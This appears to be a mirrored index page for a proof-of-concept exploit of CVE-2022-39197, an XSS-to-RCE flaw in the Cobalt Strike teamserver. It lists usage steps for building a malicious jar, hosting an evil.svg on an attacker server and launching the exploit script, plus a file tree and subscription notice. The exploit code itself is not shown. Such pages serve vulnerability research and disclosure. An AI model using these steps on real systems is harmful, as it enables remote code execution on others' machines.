CVE-2022-39197 PoC — HelpSystems Cobalt Strike 跨站脚本漏洞

Source

https://github.com/its-arun/CVE-2022-39197

Associated Vulnerability

Title:HelpSystems Cobalt Strike 跨站脚本漏洞 (CVE-2022-39197)
Description:An XSS (Cross Site Scripting) vulnerability was found in HelpSystems Cobalt Strike through 4.7 that allowed a remote attacker to execute HTML on the Cobalt Strike teamserver. To exploit the vulnerability, one must first inspect a Cobalt Strike payload, and then modify the username field in the payload (or create a new payload with the extracted information and then modify that username field to be malformed).

Description

CobaltStrike <= 4.7.1 RCE

Readme

# **CVE-2022-39197 RCE POC**

### Usage

- **Prepare Payload**
1. Edit `Line 19` with your payload in `EvilJar/src/main/java/Exploit.java`
2. Build using jar `mvn clean compile assembly:single`
3. Move `EvilJar-1.0-jar-with-dependencies.jar` from `EvilJar/target/` to `serve/` folder
4. Edit `serve\evil.svg` replace `[attacker]` 
5. Serve using `python3 -m http.server 8080`

- **Execute Exploit**

```
python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg
```

Payload will be triggered as soon as the user scrolls through Process List

### POC.JPG?
![1.jpg](./images/1.jpg)


### Reference Links

[https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg](https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg) — There’s a great in depth analysis of this vulnerability
[https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html](https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html)

File Snapshot


 [4.0K]  /data/pocs/a77db82ffc730cd0e4eb69889fb984d4e0efcd37
├── [1.5K]  cve-2022-39197.py
├── [4.0K]  EvilJar
│   ├── [4.0K]  META-INF
│   │   └── [  50]  MANIFEST.MF
│   ├── [1.9K]  pom.xml
│   └── [4.0K]  src
│       └── [4.0K]  main
│           └── [4.0K]  java
│               └── [1.2K]  Exploit.java
├── [4.0K]  images
│   └── [144K]  1.jpg
├── [ 966]  README.md
├── [  11]  requirements.txt
└── [4.0K]  serve
    └── [ 243]  evil.svg

7 directories, 8 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!